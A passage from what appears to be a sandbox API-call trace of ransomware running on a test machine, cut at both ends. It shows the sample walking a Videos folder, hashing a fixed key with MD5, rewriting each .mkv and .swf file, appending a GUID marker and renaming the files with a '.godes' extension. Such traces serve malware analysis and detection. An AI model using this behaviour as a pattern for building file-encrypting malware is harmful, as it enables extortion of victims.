hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xba10) returned 0x3323120 [0114.705] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.705] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xba02, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xba02, lpOverlapped=0x0) returned 1 [0114.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.705] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xba07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.707] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.707] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.707] CloseHandle (hObject=0x624) returned 1 [0114.709] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\OwRMCKP7D2.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\owrmckp7d2.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\OwRMCKP7D2.mkv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\owrmckp7d2.mkv.godes")) returned 1 [0114.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.711] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.712] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7099740, ftCreationTime.dwHighDateTime=0x1d4d49a, ftLastAccessTime.dwLowDateTime=0x6aa41950, ftLastAccessTime.dwHighDateTime=0x1d4c799, ftLastWriteTime.dwLowDateTime=0x6aa41950, ftLastWriteTime.dwHighDateTime=0x1d4c799, nFileSizeHigh=0x0, nFileSizeLow=0x18b5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USkdPbJMi5.swf", cAlternateFileName="USKDPB~1.SWF")) returned 1 [0114.712] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\USkdPbJMi5.swf") returned=".swf" [0114.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\USkdPbJMi5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\uskdpbjmi5.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.713] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=101211) returned 1 [0114.713] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.715] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18b35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.715] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.716] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18b5b, lpOverlapped=0x0) returned 1 [0114.717] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.717] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.717] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.717] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.718] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.718] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.718] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.718] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.718] GetLastError () returned 0x0 [0114.718] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.719] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.719] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18b5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.719] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.719] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.719] CloseHandle (hObject=0x624) returned 1 [0114.721] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\USkdPbJMi5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\uskdpbjmi5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\USkdPbJMi5.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\uskdpbjmi5.swf.godes")) returned 1 [0114.722] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7099740, ftCreationTime.dwHighDateTime=0x1d4d49a, ftLastAccessTime.dwLowDateTime=0x6aa41950, ftLastAccessTime.dwHighDateTime=0x1d4c799, ftLastWriteTime.dwLowDateTime=0x6aa41950, ftLastWriteTime.dwHighDateTime=0x1d4c799, nFileSizeHigh=0x0, nFileSizeLow=0x18b5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USkdPbJMi5.swf", cAlternateFileName="USKDPB~1.SWF")) returned 0 [0114.722] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.723] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.723] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\") returned="nhszPrwAyFP3\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0114.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.723] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.723] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.723] PathFindFileNameW (pszPath="") returned="" [0114.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b57b0, ftCreationTime.dwHighDateTime=0x1d4cc16, ftLastAccessTime.dwLowDateTime=0x5add7f40, ftLastAccessTime.dwHighDateTime=0x1d4ce09, ftLastWriteTime.dwLowDateTime=0x5add7f40, ftLastWriteTime.dwHighDateTime=0x1d4ce09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.723] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b57b0, ftCreationTime.dwHighDateTime=0x1d4cc16, ftLastAccessTime.dwLowDateTime=0x5add7f40, ftLastAccessTime.dwHighDateTime=0x1d4ce09, ftLastWriteTime.dwLowDateTime=0x5add7f40, ftLastWriteTime.dwHighDateTime=0x1d4ce09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.723] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc04460, ftCreationTime.dwHighDateTime=0x1d4d102, ftLastAccessTime.dwLowDateTime=0xcc7d5a80, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xcc7d5a80, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0x15671, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nIoWGznt2.swf", cAlternateFileName="NIOWGZ~1.SWF")) returned 1 [0114.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\nIoWGznt2.swf") returned=".swf" [0114.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\nIoWGznt2.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\niowgznt2.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.725] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=87665) returned 1 [0114.725] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.726] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1564b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.727] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.728] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.728] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x15671, lpOverlapped=0x0) returned 1 [0114.729] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.729] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.729] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.729] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.730] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.730] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.730] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.730] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.730] GetLastError () returned 0x0 [0114.730] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.730] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x15670) returned 0x3323120 [0114.731] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.731] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x1566c, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1566c, lpOverlapped=0x0) returned 1 [0114.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.731] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15671, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.732] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.732] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.732] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.732] CloseHandle (hObject=0x624) returned 1 [0114.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\nIoWGznt2.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\niowgznt2.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\nIoWGznt2.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\niowgznt2.swf.godes")) returned 1 [0114.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.734] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.735] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4be4e30, ftCreationTime.dwHighDateTime=0x1d4cb2b, ftLastAccessTime.dwLowDateTime=0xde2c2f00, ftLastAccessTime.dwHighDateTime=0x1d4c683, ftLastWriteTime.dwLowDateTime=0xde2c2f00, ftLastWriteTime.dwHighDateTime=0x1d4c683, nFileSizeHigh=0x0, nFileSizeLow=0x5678, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OJ7g4MMeWuj05DP.swf", cAlternateFileName="OJ7G4M~1.SWF")) returned 1 [0114.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\OJ7g4MMeWuj05DP.swf") returned=".swf" [0114.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\OJ7g4MMeWuj05DP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\oj7g4mmewuj05dp.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.735] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=22136) returned 1 [0114.735] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.737] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5652, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.737] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.739] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.739] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.739] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x5678, lpOverlapped=0x0) returned 1 [0114.739] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.739] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.739] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.739] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.740] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.740] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.740] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.740] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.740] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.740] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.740] GetLastError () returned 0x0 [0114.740] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.741] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5680) returned 0x3323120 [0114.741] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.741] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x5673, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x5673, lpOverlapped=0x0) returned 1 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.741] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5678, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.741] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.741] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.741] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.741] CloseHandle (hObject=0x624) returned 1 [0114.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.742] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\OJ7g4MMeWuj05DP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\oj7g4mmewuj05dp.swf"), 